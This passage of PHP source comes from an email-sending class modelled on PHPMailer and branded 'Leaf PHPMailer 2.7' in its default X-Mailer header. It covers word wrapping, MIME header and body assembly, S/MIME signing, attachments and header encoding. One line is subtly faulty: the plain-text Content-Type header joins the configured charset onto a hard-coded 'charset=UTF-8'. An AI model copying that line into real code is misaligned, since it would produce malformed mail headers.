  1930. $word = substr($word, $len);
  1931.  
  1932. if (strlen($word) > 0) {
  1933. $message .= $part . sprintf('=%s', self::CRLF);
  1934. } else {
  1935. $buf = $part;
  1936. }
  1937. }
  1938. } else {
  1939. $buf_o = $buf;
  1940. if (!$firstword) {
  1941. $buf .= ' ';
  1942. }
  1943. $buf .= $word;
  1944.  
  1945. if (strlen($buf) > $length and $buf_o != '') {
  1946. $message .= $buf_o . $soft_break;
  1947. $buf = $word;
  1948. }
  1949. }
  1950. $firstword = false;
  1951. }
  1952. $message .= $buf . self::CRLF;
  1953. }
  1954.  
  1955. return $message;
  1956. }
  1957.  
  1958. /**
  1959. * Find the last character boundary prior to $maxLength in a utf-8
  1960. * quoted-printable encoded string.
  1961. * Original written by Colin Brown.
  1962. * @access public
  1963. * @param string $encodedText utf-8 QP text
  1964. * @param integer $maxLength Find the last character boundary prior to this length
  1965. * @return integer
  1966. */
  1967. public function utf8CharBoundary($encodedText, $maxLength)
  1968. {
  1969. $foundSplitPos = false;
  1970. $lookBack = 3;
  1971. while (!$foundSplitPos) {
  1972. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1973. $encodedCharPos = strpos($lastChunk, '=');
  1974. if (false !== $encodedCharPos) {
  1975. // Found start of encoded character byte within $lookBack block.
  1976. // Check the encoded byte value (the 2 chars after the '=')
  1977. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1978. $dec = hexdec($hex);
  1979. if ($dec < 128) {
  1980. // Single byte character.
  1981. // If the encoded char was found at pos 0, it will fit
  1982. // otherwise reduce maxLength to start of the encoded char
  1983. if ($encodedCharPos > 0) {
  1984. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1985. }
  1986. $foundSplitPos = true;
  1987. } elseif ($dec >= 192) {
  1988. // First byte of a multi byte character
  1989. // Reduce maxLength to split at start of character
  1990. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1991. $foundSplitPos = true;
  1992. } elseif ($dec < 192) {
  1993. // Middle byte of a multi byte character, look further back
  1994. $lookBack += 3;
  1995. }
  1996. } else {
  1997. // No encoded character found
  1998. $foundSplitPos = true;
  1999. }
  2000. }
  2001. return $maxLength;
  2002. }
  2003.  
  2004. /**
  2005. * Apply word wrapping to the message body.
  2006. * Wraps the message body to the number of chars set in the WordWrap property.
  2007. * You should only do this to plain-text bodies as wrapping HTML tags may break them.
  2008. * This is called automatically by createBody(), so you don't need to call it yourself.
  2009. * @access public
  2010. * @return void
  2011. */
  2012. public function setWordWrap()
  2013. {
  2014. if ($this->WordWrap < 1) {
  2015. return;
  2016. }
  2017.  
  2018. switch ($this->message_type) {
  2019. case 'alt':
  2020. case 'alt_inline':
  2021. case 'alt_attach':
  2022. case 'alt_inline_attach':
  2023. $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  2024. break;
  2025. default:
  2026. $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  2027. break;
  2028. }
  2029. }
  2030.  
  2031. /**
  2032. * Assemble message headers.
  2033. * @access public
  2034. * @return string The assembled headers
  2035. */
  2036. public function createHeader()
  2037. {
  2038. $result = '';
  2039.  
  2040. if ($this->MessageDate == '') {
  2041. $this->MessageDate = self::rfcDate();
  2042. }
  2043. $result .= $this->headerLine('Date', $this->MessageDate);
  2044.  
  2045. // To be created automatically by mail()
  2046. if ($this->SingleTo) {
  2047. if ($this->Mailer != 'mail') {
  2048. foreach ($this->to as $toaddr) {
  2049. $this->SingleToArray[] = $this->addrFormat($toaddr);
  2050. }
  2051. }
  2052. } else {
  2053. if (count($this->to) > 0) {
  2054. if ($this->Mailer != 'mail') {
  2055. $result .= $this->addrAppend('To', $this->to);
  2056. }
  2057. } elseif (count($this->cc) == 0) {
  2058. $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  2059. }
  2060. }
  2061.  
  2062. $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  2063.  
  2064. // sendmail and mail() extract Cc from the header before sending
  2065. if (count($this->cc) > 0) {
  2066. $result .= $this->addrAppend('Cc', $this->cc);
  2067. }
  2068.  
  2069. // sendmail and mail() extract Bcc from the header before sending
  2070. if ((
  2071. $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  2072. )
  2073. and count($this->bcc) > 0
  2074. ) {
  2075. $result .= $this->addrAppend('Bcc', $this->bcc);
  2076. }
  2077.  
  2078. if (count($this->ReplyTo) > 0) {
  2079. $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  2080. }
  2081.  
  2082. // mail() sets the subject itself
  2083. if ($this->Mailer != 'mail') {
  2084. $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  2085. }
  2086.  
  2087. if ($this->MessageID != '') {
  2088. $this->lastMessageID = $this->MessageID;
  2089. } else {
  2090. $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
  2091. }
  2092. $result .= $this->headerLine('Message-ID', $this->lastMessageID);
  2093. if (!is_null($this->Priority)) {
  2094. $result .= $this->headerLine('X-Priority', $this->Priority);
  2095. }
  2096. if ($this->XMailer == '') {
  2097. $result .= $this->headerLine(
  2098. 'X-Mailer',
  2099. 'Leaf PHPMailer 2.7 (leafmailer.pw)'
  2100. );
  2101. } else {
  2102. $myXmailer = trim($this->XMailer);
  2103. if ($myXmailer) {
  2104. $result .= $this->headerLine('X-Mailer', $myXmailer);
  2105. }
  2106. }
  2107.  
  2108. if ($this->ConfirmReadingTo != '') {
  2109. $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
  2110. }
  2111.  
  2112. // Add custom headers
  2113. foreach ($this->CustomHeader as $header) {
  2114. $result .= $this->headerLine(
  2115. trim($header[0]),
  2116. $this->encodeHeader(trim($header[1]))
  2117. );
  2118. }
  2119. if (!$this->sign_key_file) {
  2120. $result .= $this->headerLine('MIME-Version', '1.0');
  2121. $result .= $this->getMailMIME();
  2122. }
  2123.  
  2124. return $result;
  2125. }
  2126.  
  2127. /**
  2128. * Get the message MIME type headers.
  2129. * @access public
  2130. * @return string
  2131. */
  2132. public function getMailMIME()
  2133. {
  2134. $result = '';
  2135. $ismultipart = true;
  2136. switch ($this->message_type) {
  2137. case 'inline':
  2138. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  2139. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2140. break;
  2141. case 'attach':
  2142. case 'inline_attach':
  2143. case 'alt_attach':
  2144. case 'alt_inline_attach':
  2145. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  2146. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2147. break;
  2148. case 'alt':
  2149. case 'alt_inline':
  2150. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2151. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  2152. break;
  2153. default:
  2154. // Catches case 'plain': and case '':
  2155. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=UTF-8' . $this->CharSet);
  2156. $ismultipart = false;
  2157. break;
  2158. }
  2159. // RFC1341 part 5 says 7bit is assumed if not specified
  2160. if ($this->Encoding != '7bit') {
  2161. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  2162. if ($ismultipart) {
  2163. if ($this->Encoding == '8bit') {
  2164. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  2165. }
  2166. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  2167. } else {
  2168. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  2169. }
  2170. }
  2171.  
  2172. if ($this->Mailer != 'mail') {
  2173. $result .= $this->LE;
  2174. }
  2175.  
  2176. return $result;
  2177. }
  2178.  
  2179. /**
  2180. * Returns the whole MIME message.
  2181. * Includes complete headers and body.
  2182. * Only valid post preSend().
  2183. * @see PHPMailer::preSend()
  2184. * @access public
  2185. * @return string
  2186. */
  2187. public function getSentMIMEMessage()
  2188. {
  2189. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  2190. }
  2191.  
  2192. /**
  2193. * Assemble the message body.
  2194. * Returns an empty string on failure.
  2195. * @access public
  2196. * @throws phpmailerException
  2197. * @return string The assembled message body
  2198. */
  2199. public function createBody()
  2200. {
  2201. $body = '';
  2202. //Create unique IDs and preset boundaries
  2203. $this->uniqueid = md5(uniqid(time()));
  2204. $this->boundary[1] = 'b1_' . $this->uniqueid;
  2205. $this->boundary[2] = 'b2_' . $this->uniqueid;
  2206. $this->boundary[3] = 'b3_' . $this->uniqueid;
  2207.  
  2208. if ($this->sign_key_file) {
  2209. $body .= $this->getMailMIME() . $this->LE;
  2210. }
  2211.  
  2212. $this->setWordWrap();
  2213.  
  2214. $bodyEncoding = $this->Encoding;
  2215. $bodyCharSet = $this->CharSet;
  2216. //Can we do a 7-bit downgrade?
  2217. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  2218. $bodyEncoding = '7bit';
  2219. $bodyCharSet = 'us-ascii';
  2220. }
  2221. //If lines are too long, and we're not already using an encoding that will shorten them,
  2222. //change to quoted-printable transfer encoding
  2223. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  2224. $this->Encoding = 'quoted-printable';
  2225. $bodyEncoding = 'quoted-printable';
  2226. }
  2227.  
  2228. $altBodyEncoding = $this->Encoding;
  2229. $altBodyCharSet = $this->CharSet;
  2230. //Can we do a 7-bit downgrade?
  2231. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  2232. $altBodyEncoding = '7bit';
  2233. $altBodyCharSet = 'us-ascii';
  2234. }
  2235. //If lines are too long, and we're not already using an encoding that will shorten them,
  2236. //change to quoted-printable transfer encoding
  2237. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  2238. $altBodyEncoding = 'quoted-printable';
  2239. }
  2240. //Use this as a preamble in all multipart message types
  2241. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  2242. switch ($this->message_type) {
  2243. case 'inline':
  2244. $body .= $mimepre;
  2245. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2246. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2247. $body .= $this->LE . $this->LE;
  2248. $body .= $this->attachAll('inline', $this->boundary[1]);
  2249. break;
  2250. case 'attach':
  2251. $body .= $mimepre;
  2252. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  2253. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2254. $body .= $this->LE . $this->LE;
  2255. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2256. break;
  2257. case 'inline_attach':
  2258. $body .= $mimepre;
  2259. $body .= $this->textLine('--' . $this->boundary[1]);
  2260. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2261. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2262. $body .= $this->LE;
  2263. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  2264. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2265. $body .= $this->LE . $this->LE;
  2266. $body .= $this->attachAll('inline', $this->boundary[2]);
  2267. $body .= $this->LE;
  2268. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2269. break;
  2270. case 'alt':
  2271. $body .= $mimepre;
  2272. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2273. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2274. $body .= $this->LE . $this->LE;
  2275. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  2276. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2277. $body .= $this->LE . $this->LE;
  2278. if (!empty($this->Ical)) {
  2279. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  2280. $body .= $this->encodeString($this->Ical, $this->Encoding);
  2281. $body .= $this->LE . $this->LE;
  2282. }
  2283. $body .= $this->endBoundary($this->boundary[1]);
  2284. break;
  2285. case 'alt_inline':
  2286. $body .= $mimepre;
  2287. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2288. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2289. $body .= $this->LE . $this->LE;
  2290. $body .= $this->textLine('--' . $this->boundary[1]);
  2291. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2292. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2293. $body .= $this->LE;
  2294. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2295. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2296. $body .= $this->LE . $this->LE;
  2297. $body .= $this->attachAll('inline', $this->boundary[2]);
  2298. $body .= $this->LE;
  2299. $body .= $this->endBoundary($this->boundary[1]);
  2300. break;
  2301. case 'alt_attach':
  2302. $body .= $mimepre;
  2303. $body .= $this->textLine('--' . $this->boundary[1]);
  2304. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2305. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2306. $body .= $this->LE;
  2307. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2308. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2309. $body .= $this->LE . $this->LE;
  2310. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  2311. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2312. $body .= $this->LE . $this->LE;
  2313. $body .= $this->endBoundary($this->boundary[2]);
  2314. $body .= $this->LE;
  2315. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2316. break;
  2317. case 'alt_inline_attach':
  2318. $body .= $mimepre;
  2319. $body .= $this->textLine('--' . $this->boundary[1]);
  2320. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  2321. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  2322. $body .= $this->LE;
  2323. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  2324. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  2325. $body .= $this->LE . $this->LE;
  2326. $body .= $this->textLine('--' . $this->boundary[2]);
  2327. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  2328. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  2329. $body .= $this->LE;
  2330. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  2331. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2332. $body .= $this->LE . $this->LE;
  2333. $body .= $this->attachAll('inline', $this->boundary[3]);
  2334. $body .= $this->LE;
  2335. $body .= $this->endBoundary($this->boundary[2]);
  2336. $body .= $this->LE;
  2337. $body .= $this->attachAll('attachment', $this->boundary[1]);
  2338. break;
  2339. default:
  2340. // catch case 'plain' and case ''
  2341. $body .= $this->encodeString($this->Body, $bodyEncoding);
  2342. break;
  2343. }
  2344.  
  2345. if ($this->isError()) {
  2346. $body = '';
  2347. } elseif ($this->sign_key_file) {
  2348. try {
  2349. if (!defined('PKCS7_TEXT')) {
  2350. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  2351. }
  2352. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  2353. $file = tempnam(sys_get_temp_dir(), 'mail');
  2354. if (false === file_put_contents($file, $body)) {
  2355. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  2356. }
  2357. $signed = tempnam(sys_get_temp_dir(), 'signed');
  2358. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  2359. if (empty($this->sign_extracerts_file)) {
  2360. $sign = @openssl_pkcs7_sign(
  2361. $file,
  2362. $signed,
  2363. 'file://' . realpath($this->sign_cert_file),
  2364. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2365. null
  2366. );
  2367. } else {
  2368. $sign = @openssl_pkcs7_sign(
  2369. $file,
  2370. $signed,
  2371. 'file://' . realpath($this->sign_cert_file),
  2372. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  2373. null,
  2374. PKCS7_DETACHED,
  2375. $this->sign_extracerts_file
  2376. );
  2377. }
  2378. if ($sign) {
  2379. @unlink($file);
  2380. $body = file_get_contents($signed);
  2381. @unlink($signed);
  2382. //The message returned by openssl contains both headers and body, so need to split them up
  2383. $parts = explode("\n\n", $body, 2);
  2384. $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  2385. $body = $parts[1];
  2386. } else {
  2387. @unlink($file);
  2388. @unlink($signed);
  2389. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  2390. }
  2391. } catch (phpmailerException $exc) {
  2392. $body = '';
  2393. if ($this->exceptions) {
  2394. throw $exc;
  2395. }
  2396. }
  2397. }
  2398. return $body;
  2399. }
  2400.  
  2401. /**
  2402. * Return the start of a message boundary.
  2403. * @access protected
  2404. * @param string $boundary
  2405. * @param string $charSet
  2406. * @param string $contentType
  2407. * @param string $encoding
  2408. * @return string
  2409. */
  2410. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  2411. {
  2412. $result = '';
  2413. if ($charSet == '') {
  2414. $charSet = $this->CharSet;
  2415. }
  2416. if ($contentType == '') {
  2417. $contentType = $this->ContentType;
  2418. }
  2419. if ($encoding == '') {
  2420. $encoding = $this->Encoding;
  2421. }
  2422. $result .= $this->textLine('--' . $boundary);
  2423. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  2424. $result .= $this->LE;
  2425. // RFC1341 part 5 says 7bit is assumed if not specified
  2426. if ($encoding != '7bit') {
  2427. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  2428. }
  2429. $result .= $this->LE;
  2430.  
  2431. return $result;
  2432. }
  2433.  
  2434. /**
  2435. * Return the end of a message boundary.
  2436. * @access protected
  2437. * @param string $boundary
  2438. * @return string
  2439. */
  2440. protected function endBoundary($boundary)
  2441. {
  2442. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2443. }
  2444.  
  2445. /**
  2446. * Set the message type.
  2447. * PHPMailer only supports some preset message types,
  2448. * not arbitrary MIME structures.
  2449. * @access protected
  2450. * @return void
  2451. */
  2452. protected function setMessageType()
  2453. {
  2454. $type = array();
  2455. if ($this->alternativeExists()) {
  2456. $type[] = 'alt';
  2457. }
  2458. if ($this->inlineImageExists()) {
  2459. $type[] = 'inline';
  2460. }
  2461. if ($this->attachmentExists()) {
  2462. $type[] = 'attach';
  2463. }
  2464. $this->message_type = implode('_', $type);
  2465. if ($this->message_type == '') {
  2466. $this->message_type = 'plain';
  2467. }
  2468. }
  2469.  
  2470. /**
  2471. * Format a header line.
  2472. * @access public
  2473. * @param string $name
  2474. * @param string $value
  2475. * @return string
  2476. */
  2477. public function headerLine($name, $value)
  2478. {
  2479. return $name . ': ' . $value . $this->LE;
  2480. }
  2481.  
  2482. /**
  2483. * Return a formatted mail line.
  2484. * @access public
  2485. * @param string $value
  2486. * @return string
  2487. */
  2488. public function textLine($value)
  2489. {
  2490. return $value . $this->LE;
  2491. }
  2492.  
  2493. /**
  2494. * Add an attachment from a path on the filesystem.
  2495. * Returns false if the file could not be found or read.
  2496. * @param string $path Path to the attachment.
  2497. * @param string $name Overrides the attachment name.
  2498. * @param string $encoding File encoding (see $Encoding).
  2499. * @param string $type File extension (MIME) type.
  2500. * @param string $disposition Disposition to use
  2501. * @throws phpmailerException
  2502. * @return boolean
  2503. */
  2504. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  2505. {
  2506. try {
  2507. if (!@is_file($path)) {
  2508. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  2509. }
  2510.  
  2511. // If a MIME type is not specified, try to work it out from the file name
  2512. if ($type == '') {
  2513. $type = self::filenameToType($path);
  2514. }
  2515.  
  2516. $filename = basename($path);
  2517. if ($name == '') {
  2518. $name = $filename;
  2519. }
  2520.  
  2521. $this->attachment[] = array(
  2522. 0 => $path,
  2523. 1 => $filename,
  2524. 2 => $name,
  2525. 3 => $encoding,
  2526. 4 => $type,
  2527. 5 => false, // isStringAttachment
  2528. 6 => $disposition,
  2529. 7 => 0
  2530. );
  2531.  
  2532. } catch (phpmailerException $exc) {
  2533. $this->setError($exc->getMessage());
  2534. $this->edebug($exc->getMessage());
  2535. if ($this->exceptions) {
  2536. throw $exc;
  2537. }
  2538. return false;
  2539. }
  2540. return true;
  2541. }
  2542.  
  2543. /**
  2544. * Return the array of attachments.
  2545. * @return array
  2546. */
  2547. public function getAttachments()
  2548. {
  2549. return $this->attachment;
  2550. }
  2551.  
  2552. /**
  2553. * Attach all file, string, and binary attachments to the message.
  2554. * Returns an empty string on failure.
  2555. * @access protected
  2556. * @param string $disposition_type
  2557. * @param string $boundary
  2558. * @return string
  2559. */
  2560. protected function attachAll($disposition_type, $boundary)
  2561. {
  2562. // Return text of body
  2563. $mime = array();
  2564. $cidUniq = array();
  2565. $incl = array();
  2566.  
  2567. // Add all attachments
  2568. foreach ($this->attachment as $attachment) {
  2569. // Check if it is a valid disposition_filter
  2570. if ($attachment[6] == $disposition_type) {
  2571. // Check for string attachment
  2572. $string = '';
  2573. $path = '';
  2574. $bString = $attachment[5];
  2575. if ($bString) {
  2576. $string = $attachment[0];
  2577. } else {
  2578. $path = $attachment[0];
  2579. }
  2580.  
  2581. $inclhash = md5(serialize($attachment));
  2582. if (in_array($inclhash, $incl)) {
  2583. continue;
  2584. }
  2585. $incl[] = $inclhash;
  2586. $name = $attachment[2];
  2587. $encoding = $attachment[3];
  2588. $type = $attachment[4];
  2589. $disposition = $attachment[6];
  2590. $cid = $attachment[7];
  2591. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  2592. continue;
  2593. }
  2594. $cidUniq[$cid] = true;
  2595.  
  2596. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  2597. //Only include a filename property if we have one
  2598. if (!empty($name)) {
  2599. $mime[] = sprintf(
  2600. 'Content-Type: %s; name="%s"%s',
  2601. $type,
  2602. $this->encodeHeader($this->secureHeader($name)),
  2603. $this->LE
  2604. );
  2605. } else {
  2606. $mime[] = sprintf(
  2607. 'Content-Type: %s%s',
  2608. $type,
  2609. $this->LE
  2610. );
  2611. }
  2612. // RFC1341 part 5 says 7bit is assumed if not specified
  2613. if ($encoding != '7bit') {
  2614. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  2615. }
  2616.  
  2617. if ($disposition == 'inline') {
  2618. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  2619. }
  2620.  
  2621. // If a filename contains any of these chars, it should be quoted,
  2622. // but not otherwise: RFC2183 & RFC2045 5.1
  2623. // Fixes a warning in IETF's msglint MIME checker
  2624. // Allow for bypassing the Content-Disposition header totally
  2625. if (!(empty($disposition))) {
  2626. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  2627. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  2628. $mime[] = sprintf(
  2629. 'Content-Disposition: %s; filename="%s"%s',
  2630. $disposition,
  2631. $encoded_name,
  2632. $this->LE . $this->LE
  2633. );
  2634. } else {
  2635. if (!empty($encoded_name)) {
  2636. $mime[] = sprintf(
  2637. 'Content-Disposition: %s; filename=%s%s',
  2638. $disposition,
  2639. $encoded_name,
  2640. $this->LE . $this->LE
  2641. );
  2642. } else {
  2643. $mime[] = sprintf(
  2644. 'Content-Disposition: %s%s',
  2645. $disposition,
  2646. $this->LE . $this->LE
  2647. );
  2648. }
  2649. }
  2650. } else {
  2651. $mime[] = $this->LE;
  2652. }
  2653.  
  2654. // Encode as string attachment
  2655. if ($bString) {
  2656. $mime[] = $this->encodeString($string, $encoding);
  2657. if ($this->isError()) {
  2658. return '';
  2659. }
  2660. $mime[] = $this->LE . $this->LE;
  2661. } else {
  2662. $mime[] = $this->encodeFile($path, $encoding);
  2663. if ($this->isError()) {
  2664. return '';
  2665. }
  2666. $mime[] = $this->LE . $this->LE;
  2667. }
  2668. }
  2669. }
  2670.  
  2671. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  2672.  
  2673. return implode('', $mime);
  2674. }
  2675.  
  2676. /**
  2677. * Encode a file attachment in requested format.
  2678. * Returns an empty string on failure.
  2679. * @param string $path The full path to the file
  2680. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2681. * @throws phpmailerException
  2682. * @access protected
  2683. * @return string
  2684. */
  2685. protected function encodeFile($path, $encoding = 'base64')
  2686. {
  2687. try {
  2688. if (!is_readable($path)) {
  2689. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  2690. }
  2691. $magic_quotes = get_magic_quotes_runtime();
  2692. if ($magic_quotes) {
  2693. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2694. set_magic_quotes_runtime(false);
  2695. } else {
  2696. //Doesn't exist in PHP 5.4, but we don't need to check because
  2697. //get_magic_quotes_runtime always returns false in 5.4+
  2698. //so it will never get here
  2699. ini_set('magic_quotes_runtime', false);
  2700. }
  2701. }
  2702. $file_buffer = file_get_contents($path);
  2703. $file_buffer = $this->encodeString($file_buffer, $encoding);
  2704. if ($magic_quotes) {
  2705. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  2706. set_magic_quotes_runtime($magic_quotes);
  2707. } else {
  2708. ini_set('magic_quotes_runtime', $magic_quotes);
  2709. }
  2710. }
  2711. return $file_buffer;
  2712. } catch (Exception $exc) {
  2713. $this->setError($exc->getMessage());
  2714. return '';
  2715. }
  2716. }
  2717.  
  2718. /**
  2719. * Encode a string in requested format.
  2720. * Returns an empty string on failure.
  2721. * @param string $str The text to encode
  2722. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  2723. * @access public
  2724. * @return string
  2725. */
  2726. public function encodeString($str, $encoding = 'base64')
  2727. {
  2728. $encoded = '';
  2729. switch (strtolower($encoding)) {
  2730. case 'base64':
  2731. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2732. break;
  2733. case '7bit':
  2734. case '8bit':
  2735. $encoded = $this->fixEOL($str);
  2736. // Make sure it ends with a line break
  2737. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  2738. $encoded .= $this->LE;
  2739. }
  2740. break;
  2741. case 'binary':
  2742. $encoded = $str;
  2743. break;
  2744. case 'quoted-printable':
  2745. $encoded = $this->encodeQP($str);
  2746. break;
  2747. default:
  2748. $this->setError($this->lang('encoding') . $encoding);
  2749. break;
  2750. }
  2751. return $encoded;
  2752. }
  2753.  
  2754. /**
  2755. * Encode a header string optimally.
  2756. * Picks shortest of Q, B, quoted-printable or none.
  2757. * @access public
  2758. * @param string $str
  2759. * @param string $position
  2760. * @return string
  2761. */
  2762. public function encodeHeader($str, $position = 'text')
  2763. {
  2764. $matchcount = 0;
  2765. switch (strtolower($position)) {
  2766. case 'phrase':
  2767. if (!preg_match('/[\200-\377]/', $str)) {
  2768. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  2769. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2770. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2771. return ($encoded);
  2772. } else {
  2773. return ("\"$encoded\"");
  2774. }
  2775. }
  2776. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2777. break;
  2778. /** @noinspection PhpMissingBreakStatementInspection */
  2779. case 'comment':
  2780. $matchcount = preg_match_all('/[()"]/', $str, $matches);
  2781. // Intentional fall-through
  2782. case 'text':
  2783. default:
  2784. $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2785. break;
  2786. }
  2787.  
  2788. //There are no chars that need encoding
  2789. if ($matchcount == 0) {
  2790. return ($str);
  2791. }
  2792.  
  2793. $maxlen = 75 - 7 - strlen($this->CharSet);
  2794. // Try to select the encoding which should produce the shortest output
  2795. if ($matchcount > strlen($str) / 3) {
  2796. // More than a third of the content will need encoding, so B encoding will be most efficient
  2797. $encoding = 'B';
  2798. if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
  2799. // Use a custom function which correctly encodes and wraps long
  2800. // multibyte strings without breaking lines within a character
  2801. $encoded = $this->base64EncodeWrapMB($str, "\n");
  2802. } else {
  2803. $encoded = base64_encode($str);
  2804. $maxlen -= $maxlen % 4;
  2805. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2806. }
  2807. } else {
  2808. $encoding = 'Q';
  2809. $encoded = $this->encodeQ($str, $position);
  2810. $encoded = $this->wrapText($encoded, $maxlen, true);
  2811. $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
  2812. }
  2813.  
  2814. $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
  2815. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2816.  
  2817. return $encoded;
  2818. }
  2819.  
  2820. /**
  2821. * Check if a string contains multi-byte characters.
  2822. * @access public
  2823. * @param string $str multi-byte text to wrap encode
  2824. * @return boolean
  2825. */
  2826. public function hasMultiBytes($str)
  2827. {
  2828. if (function_exists('mb_strlen')) {
  2829. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2830. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2831. return false;
  2832. }
  2833. }
  2834.  
